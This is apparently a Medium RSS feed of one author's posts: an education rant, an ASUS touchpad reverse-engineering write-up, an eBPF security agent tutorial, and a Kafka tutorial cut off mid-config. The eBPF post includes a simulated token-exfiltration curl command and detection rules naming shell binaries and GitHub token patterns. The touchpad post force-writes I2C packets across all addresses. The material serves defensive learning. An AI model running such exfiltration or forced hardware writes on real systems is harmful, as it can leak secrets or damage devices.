<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Karan Desai on Medium]]></title>
        <description><![CDATA[Stories by Karan Desai on Medium]]></description>
        <link>https://medium.com/@karanishudesai2?source=rss-ccb033ddadd9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*UW_RmsPmPFVjuaf99BmCuw@2x.jpeg</url>
            <title>Stories by Karan Desai on Medium</title>
            <link>https://medium.com/@karanishudesai2?source=rss-ccb033ddadd9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 14:31:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@karanishudesai2/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[JEE-ification: How India Turned Computer Science Into Another Entrance Exam Factory]]></title>
            <link>https://medium.com/@karanishudesai2/jee-ification-how-india-turned-computer-science-into-another-entrance-exam-factory-4ba880a36b65?source=rss-ccb033ddadd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ba880a36b65</guid>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Karan Desai]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 18:40:35 GMT</pubDate>
            <atom:updated>2026-07-10T18:40:35.914Z</atom:updated>
            <content:encoded><![CDATA[<p>Yaar, remember when we were kids and ‘engineering’ meant you actually wanted to build shit? Now unfortunately it’s just a 4-year JEE fking after-party where everyone is grinding LeetCode like their life depends on solving binary tree inversion while the country is still figuring out why half our startups die before they can raise a seed round.</p><p>We have created an entire generation that can invert a linked list in 7 minutes but can’t ship a simple CRUD app that real humans use. Welcome to the JEE-ification of Indian tech — where the dream is not to solve problems, but to get placed. Where ‘building in public’ sounds like a risky fetish and ‘I have 3 years of experience’ actually means ‘I cleared 47 coding rounds and touched zero production code.’</p><p>The future? Either we keep producing code janitors for FAANG or we burn this coaching class cartel down and start valuing kids who actually ship stuff. Choose your fighter.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ba880a36b65" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Reverse Engineered My ASUS Laptop’s Touchpad to Get a Working NumPad on Linux]]></title>
            <link>https://medium.com/@karanishudesai2/i-reverse-engineered-my-asus-laptops-touchpad-to-get-a-working-numpad-on-linux-796c5a30857a?source=rss-ccb033ddadd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/796c5a30857a</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Karan Desai]]></dc:creator>
            <pubDate>Tue, 30 Jun 2026 05:30:42 GMT</pubDate>
            <atom:updated>2026-06-30T05:30:42.367Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How a missing Windows-only feature turned into a weekend of HID descriptors, I2C packets, and an upstream open-source contribution.</em></p><p>I bought an ASUS Zenbook 14 OLED. Installed Arch Linux the same day. Standard stuff for anyone who actually wants to use their laptop instead of fighting it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*SKSaOueWNDn8B4hYhsPciA.png" /></figure><p>A few days in, I noticed something on the touchpad: a faint icon in the top-right corner. On Windows, tapping it lights up a full illuminated NumPad grid directly on the trackpad glass — numbers, basic operators, even a calculator launch. On Linux? Nothing. The icon just sat there, dead.</p><p>That one dead icon turned into a full reverse engineering project: tearing apart a HID report descriptor, hunting down an I2C address the ACPI tables refused to expose, and eventually shipping a working daemon — plus a merged-in-progress pull request to an existing open-source driver.</p><p>This is the story of how that happened.</p><h3>The dead end everyone hits first</h3><p>My first instinct was to check if someone had already solved this. There’s a community-maintained project called <a href="https://github.com/asus-linux-drivers/asus-numberpad-driver">asus-numberpad-driver</a> that supports the NumPad-on-touchpad feature for a long list of ASUS models. I checked their device compatibility table.</p><p>My touchpad wasn’t in it.</p><p>dmesg told me exactly what I was working with:</p><pre>input: ASUF1415:00 2808:0224 Touchpad as /devices/pci0000:00/0000:00:15.1/<br>i2c_designware.1/i2c-1/i2c-ASUF1415:00/0018:2808:0224.0004/input/input24</pre><p>And right below it, the line that told me this wasn’t going to be a five-minute fix:</p><pre>hid-multitouch 0018:2808:0224.0004: Returned feature report did not match the request</pre><p>The kernel was trying to talk to the device and getting back something it didn’t understand. That mismatch is exactly where ASUS’s proprietary NumPad activation logic lives — Windows has a driver that knows the secret handshake, and Linux’s generic HID driver doesn’t.</p><h3>Reading the device’s own language</h3><p>Every HID device ships a report descriptor — essentially a manifest describing every type of message it can send and receive. I pulled mine straight from sysfs:</p><pre>sudo cat /sys/bus/hid/devices/0018:2808:0224.0004/report_descriptor | xxd</pre><p>Then decoded it properly with hid-decode to get a human-readable breakdown of every report ID. Buried among the standard mouse and multitouch reports were a handful of feature reports sitting under Usage Page (Vendor Defined Page 1) — 0xFF00. Reports 0x07, 0x08, 0x0b, 0x0c, 0x0d, and 0x0e, all completely undocumented, all clearly ASUS-proprietary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/0*Lt0k1b3V8ZtIkMX_" /></figure><p>Report 0x07 stood out immediately: a single-bit feature report. A one-bit toggle is exactly what you&#39;d expect for something like &quot;NumPad on/off.&quot;</p><p>I wrote a small Python script using fcntl and the HIDIOCGFEATURE/HIDIOCSFEATURE ioctls to read and write that report directly through /dev/hidraw3. Flipped the bit. The touchpad&#39;s cursor froze for a split second — something happened — but no LEDs lit up, and reading the report back showed it had silently reverted to 0.</p><p>The device was ignoring me.</p><h3>The actual protocol was hiding somewhere else entirely</h3><p>This is the point where most people would give up or wait for someone else to do the work. Instead, I went looking for prior art — not to copy a solution, since none existed for my exact device, but to understand the <em>shape</em> of the problem.</p><p>Digging through the asus-numberpad-driver source, I found this:</p><pre>def send_value_to_touchpad_via_i2c(value):<br>    data = [0x05, 0x00, 0x3d, 0x03, 0x06, 0x00, 0x07, 0x00,<br>            0x0d, 0x14, 0x03, int(value, 16), 0xad]</pre><p>The entire NumPad activation isn’t a hidraw feature report at all. It’s a raw 13-byte I2C packet sent directly to the touchpad controller, bypassing the standard HID input/output model completely. That explained everything — why my hidraw writes were getting silently dropped, and why nobody had documented this for newer ASUS controllers: the protocol lives one layer below where most people look.</p><p>The driver also documented the activation sequence as two packets, not one:</p><pre>unlock: ...0x60...<br>activate: ...0x01...</pre><p>And the address convention: 0x15 for most devices, 0x38 for a specific subset (ASUF1416, ASUF1205, ASUF1204). My device, ASUF1415, wasn&#39;t on either list.</p><h3>Finding an address ACPI wouldn’t give up</h3><p>Normally you’d pull an I2C address straight from the ACPI DSDT table. I disassembled mine:</p><pre>sudo acpidump &gt; acpi.dat<br>acpixtract -a acpi.dat<br>iasl -d dsdt.dat<br>grep -A 20 &quot;ASUF1415&quot; dsdt.dsl</pre><p>Dead end. The address resolution for this device was dynamic — gated behind runtime hardware-detection flags (TPDI) rather than a fixed value baked into the table. ACPI genuinely would not tell me the address.</p><p>So I brute-forced it. With the kernel’s HID driver still holding the device, I used i2ctransfer -f (the -f flag forces the transfer even when something else owns the device) to send the unlock+activate sequence to every possible 7-bit I2C address, pausing half a second between each one so I could watch the trackpad with my own eyes.</p><pre>for addr in range(0x08, 0x78):<br>    send(addr, unlock_packet)<br>    send(addr, activate_packet)<br>    time.sleep(0.5)<br>    send(addr, off_packet)</pre><p>Address 0x15 lit up the grid. Same address the existing driver documents as its default — confirming this controller follows the established family pattern even though nobody had verified it for this specific device ID before.</p><h3>From “it lights up” to something actually usable</h3><p>A lit LED grid is a nice milestone, but it’s not a NumPad. The touchpad in NumPad mode still just streams raw ABS_X/ABS_Y touch coordinates — it doesn&#39;t magically start sending number keypresses. Windows&#39; driver does that translation itself; Linux had nothing.</p><p>So I built it. The daemon, written with evdev, does three things:</p><ol><li>Watches the touchpad’s icon zone (top-right corner, mapped from real coordinate data captured with evtest) for short taps, and toggles the NumPad on/off via the I2C packet</li><li>While active, divides the rest of the touch surface into a grid matching the physical numpad printed on the trackpad — 7/8/9 across the top down to 0/./Enter on the bottom — and maps taps to virtual keypresses through a uinput virtual keyboard device</li><li>Launches a calculator on activation</li></ol><p>That third piece had its own small saga. gnome-calculator kept crashing under sudo because of broken Wayland session environment variables, so I ended up building a minimal custom calculator as a single self-contained HTML/JS file instead — no GTK, no Qt, no session headaches, just a dark-themed grid that mirrors the physical key layout exactly, launched in app mode through the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ia9uTJpDABOs0iM6WP_D8A.jpeg" /></figure><p>The whole thing now runs as a systemd service, starts on boot, and needs zero manual intervention.</p><h3>Closing the loop</h3><p>A reverse engineering project that only lives on your own machine helps exactly one person. So I documented the entire process — the HID analysis, the I2C discovery, the address brute-force — and opened a pull request against the upstream asus-numberpad-driver repository, adding ASUF1415:00 2808:0224 to their compatibility table with the confirmed working address.</p><p>It’s a small diff. One row in a markdown table. But it means the next person with a UX3405CA who tries that driver won’t hit the same wall I did — they’ll just have a NumPad that works.</p><pre>+ | ASUF1415:00 2808:0224 || confirmed working (device_addr=0x15) || <br>+ ASUS Zenbook 14 UX3405CA | @karandesai2005 — writeup |</pre><h3>What this actually took</h3><p>Nothing here required exotic tooling. hid-decode, i2ctransfer, evtest, acpixtract, and a Python script using raw ioctl calls — all standard Linux utilities, all things anyone can install with their package manager. What it actually took was refusing to accept &quot;Windows-only&quot; as a final answer, and being willing to brute-force an answer when the documentation didn&#39;t have one.</p><p>The full source, including the daemon and the custom calculator, is up here: <a href="https://github.com/karandesai2005/asus-numpad-linux">github.com/karandesai2005/asus-numpad-linux</a></p><p>If you’ve got an ASUS laptop with a NumPad-on-touchpad that doesn’t show up in any compatibility list, the method here generalizes: dump the descriptor, find the vendor-defined reports, check if it’s a hidraw or i2c-level protocol, and if the address isn’t documented — just scan for it. Hardware doesn’t keep secrets that well.</p><p><em>If you found this useful or have a similarly “unsupported” ASUS touchpad, I’d love to hear about it — drop a note in the repo issues.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=796c5a30857a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built an eBPF Security Agent That Catches GitHub PAT Exfiltration at the Kernel Level]]></title>
            <link>https://medium.com/@karanishudesai2/i-built-an-ebpf-security-agent-that-catches-github-pat-exfiltration-at-the-kernel-level-99e36470f7b0?source=rss-ccb033ddadd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/99e36470f7b0</guid>
            <dc:creator><![CDATA[Karan Desai]]></dc:creator>
            <pubDate>Wed, 24 Jun 2026 09:29:15 GMT</pubDate>
            <atom:updated>2026-06-24T09:29:15.078Z</atom:updated>
            <content:encoded><![CDATA[<p><em>From zero eBPF experience to reading raw HTTP payloads out of kernel memory</em></p><blockquote>I wanted to understand how runtime security tools like Falco and Tetragon actually work — not just use them, but build something from scratch that does what they do.</blockquote><blockquote>So I built <strong>krato</strong> — an eBPF-powered Kubernetes security agent that detects malicious processes and GitHub PAT exfiltration at the kernel level, with detection rules written in OPA Rego.</blockquote><p>Here’s everything I learned.</p><h3>What even is eBPF?</h3><p>Your Linux machine has two zones:</p><p><strong>User space</strong> — everything you interact with. Your browser, terminal, apps.</p><p><strong>Kernel space</strong> — the OS core. Every time an app wants to do anything — open a file, spawn a process, send network data — it asks the kernel via a <strong>syscall</strong>.</p><p>eBPF lets you inject a tiny sandboxed program <strong>directly into the Linux kernel</strong> that runs every time a specific event happens. Every process spawn. Every network packet. At near-zero overhead.</p><p>For security, this changes everything. Traditional tools match <strong>signatures</strong> — known bad patterns. If the attack is new, no signature exists, it gets through.</p><p>eBPF watches <strong>behavior</strong>. It doesn’t need to know what the attack is. It watches what every process <em>does</em> at the kernel level. A container that spawns a bash shell and makes an outbound network call — suspicious regardless of whether a CVE exists.</p><h3>The architecture</h3><p>Two parallel detection pipelines, one rule engine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j055m7cb33HgDAh_EiorUg.png" /></figure><ul><li><strong>Tetragon</strong> — Cilium’s eBPF tool for process event detection, streams structured events over gRPC</li><li><strong>dpi.c</strong> — custom eBPF C program I wrote that hooks tcp_sendmsg and reads raw payload bytes</li><li><strong>OPA + Rego</strong> — rule engine so detection logic lives in text files, not compiled code</li></ul><h3>Setting up the cluster</h3><p>I used Kind (Kubernetes in Docker) to spin up a local cluster:</p><pre>kind create cluster --name ebpf-agent<br>helm repo add cilium https://helm.cilium.io<br>helm install tetragon cilium/tetragon -n kube-system</pre><p>Key insight — <strong>Kind containers share your host machine’s Linux kernel</strong>. There is no separate cluster kernel. This is why eBPF programs loaded inside Kind see processes on your actual laptop. Containers are not VMs.</p><p>I verified Tetragon was working by tailing its export log:</p><pre>kubectl logs -n kube-system &lt;tetragon-pod&gt; -c export-stdout | head -20</pre><p>Immediately fascinating — I could see my own Hyprland keyboard layout scripts firing every few seconds, with full process trees, arguments, UIDs, and nanosecond timestamps. The kernel sees <em>everything</em>.</p><h3>Part 1 — Malicious Process Detection</h3><h3>The OPA engine</h3><p>Instead of hardcoding detection logic in Go, I put all rules in .rego files. The Go agent just asks OPA: <em>&quot;does this event violate any rules?&quot;</em></p><p>Add a new detection rule → drop a .rego file. No code changes, no rebuild.</p><p>My first Rego rule:</p><pre>package agent.process</pre><pre>deny[msg] if {<br>    input.type == &quot;process_exec&quot;<br>    input.container.pod_name != &quot;&quot;        # only care about pods, not host processes<br>    shell_binary(input.process.binary)<br>    msg := sprintf(<br>        &quot;Shell spawned in pod [%s/%s] — binary: %s&quot;,<br>        [input.container.namespace, input.container.pod_name, input.process.binary]<br>    )<br>}</pre><pre>shell_binary(b) if b == &quot;/bin/bash&quot;<br>shell_binary(b) if b == &quot;/bin/sh&quot;<br>shell_binary(b) if b == &quot;/usr/bin/bash&quot;</pre><h3>Wiring Tetragon gRPC</h3><p>Tetragon exposes a FineGuidanceSensors gRPC service. The Go agent opens a persistent stream:</p><pre>client := tetragonAPI.NewFineGuidanceSensorsClient(conn)<br>stream, err := client.GetEvents(ctx, &amp;tetragonAPI.GetEventsRequest{})</pre><pre>for {<br>    event, err := stream.Recv()<br>    // parse → OPA → alert<br>}</pre><p>One gotcha Tetragon’s Helm chart defaults to a Unix socket, not TCP. Fix:</p><pre>helm upgrade tetragon cilium/tetragon -n kube-system \<br>  --set tetragon.grpc.address=&quot;localhost:54321&quot;</pre><h3>The test</h3><pre>kubectl run test-nginx --image=nginx --restart=Never<br>kubectl exec -it test-nginx -- /bin/bash</pre><p>The moment I hit enter:</p><p>Real kernel event. Real alert. End to end.</p><p><em>(Screenshot: agent terminal showing red alert for shell-in-nginx)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*V98yWAmnfhEqRfuEL6S7Ng.png" /></figure><h3>Part 2 — Deep Packet Inspection for GitHub PAT Exfiltration</h3><p>This is where it got genuinely hard.</p><h3>Why Tetragon wasn’t enough</h3><p>Tetragon tells you a process made a network connection. It doesn’t show you the payload — the actual bytes sent. To detect a GitHub PAT (ghp_*) inside an outbound HTTP request, I needed to read the raw data.</p><p>Solution: write my own eBPF program in C.</p><h3>How tcp_sendmsg works</h3><p>Every time any process sends TCP data, the kernel calls:</p><pre>int tcp_sendmsg(struct sock *sk, struct msghdr *msg, size_t size);</pre><p>The msghdr contains a msg_iter — an iterator over the bytes being sent. By hooking this function with a kprobe and reading that iterator, I can see the payload <strong>before it leaves the machine</strong>.</p><h3>Writing the eBPF C program — what I learned</h3><p><strong>1. Generate vmlinux.h from your kernel’s BTF data</strong></p><pre>bpftool btf dump file /sys/kernel/btf/vmlinux format c &gt; ebpf/vmlinux.h</pre><p>This gives you all kernel struct definitions for your exact kernel. 159,000 lines. You need this instead of individual kernel headers.</p><p><strong>2. Kernel 6.18 uses ITER_UBUF — this was the critical bug</strong></p><p>The msg_iter has an iter_type field. On older kernels, iterators are always ITER_IOVEC (type 1). On kernel 6.18, curl and most send() calls use ITER_UBUF (type 0) — a simpler single-buffer iterator.</p><p>My original code only handled ITER_IOVEC. Nothing was being read. Fixed by branching on iter_type:</p><pre>iter_type = BPF_CORE_READ(msg, msg_iter.iter_type);</pre><pre>if (iter_type == ITER_IOVEC) {<br>    iov_ptr = BPF_CORE_READ(msg, msg_iter.__iov);<br>    // read from iov_ptr-&gt;iov_base + iov_offset<br>} else if (iter_type == ITER_UBUF) {<br>    ubuf = BPF_CORE_READ(msg, msg_iter.ubuf);<br>    // read directly from ubuf + iov_offset<br>}</pre><p><strong>3. The &amp; 511 mask bug</strong></p><p>When reading payload bytes:</p><pre>// DANGEROUS<br>bpf_probe_read_user(event-&gt;payload, event-&gt;payload_len &amp; (MAX_PAYLOAD_SIZE - 1), src);</pre><p>When payload_len == 512 and MAX_PAYLOAD_SIZE == 512: 512 &amp; 511 = 0. Reading zero bytes. Fixed:</p><pre>__u32 read_len = count &gt; MAX_PAYLOAD_SIZE ? MAX_PAYLOAD_SIZE : (__u32)count;</pre><p><strong>4. Use BPF_CORE_READ everywhere</strong></p><p>Direct struct field access breaks across kernel versions. BPF_CORE_READ uses CO-RE for safe cross-kernel compatibility:</p><pre>count = BPF_CORE_READ(msg, msg_iter.count);<br>iov_offset = BPF_CORE_READ(msg, msg_iter.iov_offset);</pre><p><strong>5. Try user memory first, fall back to kernel</strong></p><pre>static __always_inline long read_memory(void *dst, __u32 len, const void *src) {<br>    long ret = bpf_probe_read_user(dst, len, src);<br>    if (ret &lt; 0)<br>        ret = bpf_probe_read_kernel(dst, len, src);<br>    return ret;<br>}</pre><h3>Compiling and loading</h3><pre>clang -O2 -g -target bpf \<br>    -D__TARGET_ARCH_x86 \<br>    -I ebpf/ \<br>    -c ebpf/dpi.c \<br>    -o internal/dpi/dpi_bpf.o</pre><p>The Go agent loads this at runtime using cilium/ebpf:</p><pre>spec, _ := ebpf.LoadCollectionSpec(&quot;internal/dpi/dpi_bpf.o&quot;)<br>coll, _ := ebpf.NewCollection(spec)<br>kp, _ := link.Kprobe(&quot;tcp_sendmsg&quot;, coll.Programs[&quot;kprobe_tcp_sendmsg&quot;], nil)<br>rd, _ := ringbuf.NewReader(coll.Maps[&quot;events&quot;])</pre><h3>The moment it worked</h3><p>Inside the nginx container:</p><pre>curl -X POST http://10.244.0.7:8080 \<br>  -d &#39;token=ghp_1234567890abcdefghijklmnopqrstuvwxyz&#39;</pre><p>Agent terminal:</p><pre>━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━<br>🔑 CRITICAL — GitHub PAT EXFILTRATION DETECTED<br>━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━<br>PID:     397417<br>Process: curl<br>Payload: POST / HTTP/1.1<br>Host: 10.244.0.7:8080<br>User-Agent: curl/8.14.1<br>Content-Type: application/x-www-form-urlencoded</pre><pre>token=ghp_1234567890abcdefghijklmnopqrstuvwxyz<br>━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━</pre><p>My eBPF program read the raw HTTP payload from kernel memory and surfaced the PAT before the data left the machine.</p><p>Something interesting — the same PAT appeared at multiple layers:</p><pre>🔑 CRITICAL — GitHub PAT EXFILTRATION DETECTED<br>PID:     2079<br>Process: containerd          ← caught at container runtime level</pre><pre>🔑 CRITICAL — GitHub PAT EXFILTRATION DETECTED  <br>PID:     397417<br>Process: curl                ← caught in the actual HTTP payload</pre><p>That’s kernel-level visibility. The same secret surfaced at every layer of the stack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*PRyGo94tIfQG8L1aPSLGcA.png" /></figure><p><em>(Screenshot: terminal showing both alerts firing)</em></p><h3>Why OPA Rego makes this production-ready</h3><p>Detection logic lives entirely in .rego files — not Go code.</p><p>Adding a new detection rule:</p><pre>deny[msg] if {<br>    input.type == &quot;network_connect&quot;<br>    input.container.pod_name != &quot;&quot;<br>    regex.match(`ghp_[A-Za-z0-9]{36}`, input.network.payload)<br>    msg := sprintf(&quot;GitHub PAT detected → %s&quot;, [input.network.dest_ip])<br>}</pre><p>Drop the file. Agent picks it up on restart. Security teams write and audit rules without touching Go. Rules are version-controlled and diffable like any other code.</p><p>Same pattern production tools use — Falco’s rules language, Tetragon’s TracingPolicy CRDs. Separate detection logic from detection infrastructure.</p><h3>What I’d build next</h3><p><strong>SSL uprobe for HTTPS traffic</strong></p><p>The current DPI only catches unencrypted HTTP. For HTTPS, data is encrypted before tcp_sendmsg sees it.</p><p>Fix: attach a uprobe to SSL_write in libssl.so. This function is called with <strong>plaintext data before encryption</strong>. Hook it there and you can read TLS payloads. This is how Pixie and Hubble do production DPI.</p><pre>uprobes:<br>  - path: &quot;/usr/lib/x86_64-linux-gnu/libssl.so.3&quot;<br>    symbol: &quot;SSL_write&quot;<br>    args:<br>      - index: 1<br>        type: &quot;char_buf&quot;<br>        sizeArgIndex: 2</pre><p><strong>Threat intel feed integration</strong></p><p>Pull known bad IPs from OTX or MISP into OPA as external data. Rules check destination IPs against a live feed — zero Go changes needed.</p><p><strong>Policy hot-reload</strong></p><p>Use inotify to watch the policies directory. .rego file changes → reload OPA engine in place. Zero downtime rule updates.</p><h3>Key takeaways</h3><p>Runtime security is fundamentally about being <strong>as close to the kernel as possible</strong>. Signatures and logs are too slow, too far from the action. eBPF puts detection where events actually happen — at syscall time, before data leaves the machine.</p><p>The specific lessons:</p><ul><li>Kernel 6.18 changed iov_iter to prefer ITER_UBUF — always branch on iter_type</li><li>Use BPF_CORE_READ for CO-RE compatibility across kernel versions</li><li>The &amp; (MAX_PAYLOAD_SIZE - 1) pattern is dangerous when payload equals buffer size exactly</li><li>bpf_probe_read_user with kernel fallback covers most memory access patterns</li><li>Kind shares the host kernel — eBPF programs see everything, not just cluster processes</li></ul><h3>The repo</h3><p>Full project open source at <strong>github.com/karandesai2005/krato</strong></p><p>Includes: eBPF C program with full ITER_UBUF/ITER_IOVEC handling, OPA Rego rules for process detection and DPI, Tetragon gRPC listener, Kind cluster setup scripts, architecture diagram.</p><p><em>Karan Desai — security engineer, final year CS at SIT Pune. Metasploit Framework contributor. IEEE SA Cybersecurity Hackathon 2026–1st place, 190 teams, 34 countries. Active bug bounty researcher on Bugcrowd.</em></p><p><em>GitHub: github.com/karandesai2005 | Portfolio: karan-desai.vercel.app</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99e36470f7b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Apache Kafka: A Scalable Solution for Real-Time Data Streaming]]></title>
            <link>https://medium.com/@karanishudesai2/understanding-apache-kafka-a-scalable-solution-for-real-time-data-streaming-f4b9cfa268ea?source=rss-ccb033ddadd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4b9cfa268ea</guid>
            <category><![CDATA[discord]]></category>
            <category><![CDATA[distributed-systems]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[apache-kafka]]></category>
            <category><![CDATA[design-system-operations]]></category>
            <dc:creator><![CDATA[Karan Desai]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 23:00:28 GMT</pubDate>
            <atom:updated>2025-08-26T23:00:28.086Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s digital world, applications like messaging platforms, social media, and e-commerce sites handle massive amounts of data in real time. Imagine a popular app like Discord, where millions of users send messages, share files, and join voice chats simultaneously. Without the right tools, managing this flood of data could lead to system crashes and poor performance. This is where Apache Kafka shines. In this article, we’ll explore why Kafka is essential, what it is, its core architecture, and how it could be implemented in a scenario like Discord. Finally, we’ll tie it back to a simple hands-on project to demonstrate Kafka in action.</p><h3>Why Do We Need Kafka? The Discord Dilemma</h3><p>Let’s start with a real-world example: Discord, a platform for gamers and communities to chat in real time. Discord handles billions of messages daily, with users typing, sending emojis, and reacting instantly across servers.</p><p>Without a system like Kafka, Discord might rely solely on a traditional database (like PostgreSQL or MySQL) to store and retrieve every message. Here’s how that could go wrong:</p><ul><li><strong>High-Volume Operations</strong>: Suppose 1 million users send messages every second. Each message requires a database write (insert) and potentially multiple reads (for delivery to recipients). Databases are optimized for structured queries, but handling thousands of operations per second (OPS) can overwhelm them. Write-heavy loads lead to bottlenecks, slow response times, and even crashes under peak traffic, like during a major gaming event.</li><li><strong>Scalability Issues</strong>: Scaling a database vertically (bigger servers) is expensive and has limits. Horizontally scaling (adding more servers) introduces complexity with data consistency and replication. If the DB crashes, messages could be lost, or the system might go down, frustrating users.</li><li><strong>Real-Time Challenges</strong>: Discord needs instant delivery — messages should appear in chat rooms without delay. Polling the database constantly for new messages wastes resources and increases latency.</li></ul><p>In short, without a dedicated streaming platform, Discord’s infrastructure would buckle under the pressure, leading to downtime, lost data, and a poor user experience. This is a common problem in modern apps dealing with event-driven data, like logs, user actions, or IoT sensor readings. Kafka solves this by acting as a buffer and distributor for data streams, decoupling producers (senders) from consumers (receivers) and enabling reliable, scalable processing.</p><h3>What is Kafka and How Could We Implement It in Discord?</h3><p>Apache Kafka is an open-source distributed event streaming platform designed to handle high-throughput, real-time data feeds. Originally developed by LinkedIn and now maintained by the Apache Software Foundation, Kafka is like a super-efficient messaging system that stores, processes, and distributes data across clusters of machines. It’s fault-tolerant, scalable, and supports publish-subscribe (pub-sub) patterns, making it ideal for building data pipelines.</p><p>At its core, Kafka treats data as “events” or “messages” that flow through “topics” (categories of data). Producers publish messages to topics, and consumers subscribe to read them. Kafka ensures messages are durable (stored on disk), ordered, and replicated across nodes for reliability.</p><p>Now, let’s apply this to Discord:</p><ul><li><strong>Implementation in Discord</strong>: Instead of dumping messages directly into a database, Discord could use Kafka as an intermediary layer. When a user sends a message (e.g., “GG team!”), the Discord backend (producer) publishes it to a Kafka topic like “chat-messages-server-123”. Kafka handles the high-velocity ingestion, buffering the messages without overwhelming the system.</li><li><strong>Benefits in Action</strong>:</li><li><strong>Decoupling</strong>: The producer (Discord’s chat service) doesn’t wait for the database to acknowledge each write. It just sends to Kafka and moves on.</li><li><strong>Real-Time Delivery</strong>: Consumers (e.g., notification services or chat renderers) subscribe to the topic and process messages as they arrive, ensuring low-latency updates in users’ clients.</li><li><strong>Processing Pipeline</strong>: Additional consumers could handle tasks like archiving to a DB, analyzing for spam, or integrating with analytics tools — all without affecting the core chat flow.</li><li><strong>Scalability</strong>: As Discord grows, add more Kafka brokers (servers) to distribute load. Partitions (sub-divisions of topics) allow parallel processing.</li></ul><p>In practice, Discord uses similar streaming tech (though not publicly confirmed as Kafka), but implementing Kafka would involve:</p><ol><li>Setting up a Kafka cluster (e.g., via Docker or cloud services like AWS MSK).</li><li>Integrating producers in the backend code (e.g., using Kafka libraries in Node.js or Python).</li><li>Configuring consumers for downstream services, with error handling for retries.</li></ol><p>This setup turns potential crashes into smooth, reliable operations.</p><h3>Kafka Architecture: Breaking Down the Key Components</h3><p>Kafka’s power comes from its elegant architecture. Let’s dive into the main elements:</p><ul><li><strong>Producers</strong>: These are the sources of data. A producer is any application that sends messages to Kafka topics. In the Discord example, the chat server acts as a producer, serializing a message (e.g., as JSON with user ID, timestamp, and content) and publishing it. Producers are lightweight and can send messages asynchronously for high throughput.</li><li><strong>Consumers</strong>: These read messages from topics. Consumers subscribe to one or more topics and process data in real time or batches. In Discord, a consumer might deliver messages to users’ WebSockets, while another archives them to a database. Consumers track their progress using “offsets” (positions in the message stream), allowing them to resume from where they left off after failures.</li><li><strong>Topics</strong>: Logical categories for messages, like channels or queues. Each topic is a stream of records, immutable and append-only. For Discord, topics could be “messages-global”, “voice-events”, or per-server like “server-123-messages”. Topics make data organization intuitive.</li><li><strong>Partitions</strong>: To enable parallelism and scalability, topics are divided into partitions — ordered, immutable sequences of messages distributed across brokers. Each partition is replicated for fault tolerance. In Discord, a high-traffic topic might have 10 partitions; producers assign messages to partitions (e.g., by user ID for consistency), and consumers read from them in parallel. This allows handling massive loads without bottlenecks.</li><li><strong>Consumer Groups</strong>: For load balancing, consumers can form groups. Within a group, Kafka automatically assigns partitions to consumers (e.g., if 3 consumers and 6 partitions, each gets 2). This ensures efficient scaling — if one consumer fails, others take over. In Discord, a group of consumers could handle message delivery across regions, distributing work evenly.</li><li><strong>Brokers and Zookeeper/KRaft</strong>: Brokers are Kafka servers that store partitions and handle requests. Zookeeper (or the newer KRaft mode) coordinates the cluster, managing metadata like broker leadership and topic configs.</li></ul><p>This architecture ensures Kafka can handle petabytes of data with low latency, making it a backbone for companies like Netflix, Uber, and LinkedIn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ZXdmCE9DnXVvaIxPNg7TQ.png" /></figure><h3>Hands-On Example: Implementing a Simple Kafka Project with Python and Docker</h3><p>To bring this to life, let’s look at a basic project we set up earlier using Docker for Kafka and Python for producers/consumers. This mirrors a mini-Discord chat system where messages are produced and consumed via a topic.</p><h3>Setup with Docker</h3><p>We used Docker Compose to run Zookeeper and Kafka (Bitnami images for compatibility):</p><pre>version: &#39;3&#39;<br>services:<br>  zookeeper:<br>    image: bitnami/zookeeper:3.8<br>    ports:<br>      - &quot;2181:2181&quot;<br>    environment:<br>      ALLOW_ANONYMOUS_LOGIN: yes</pre><pre>  kafka:<br>    image: bitnami/kafka:3.8<br>    ports:<br>      - &quot;9092:9092&quot;<br>    depends_on:<br>      - zookeeper<br>    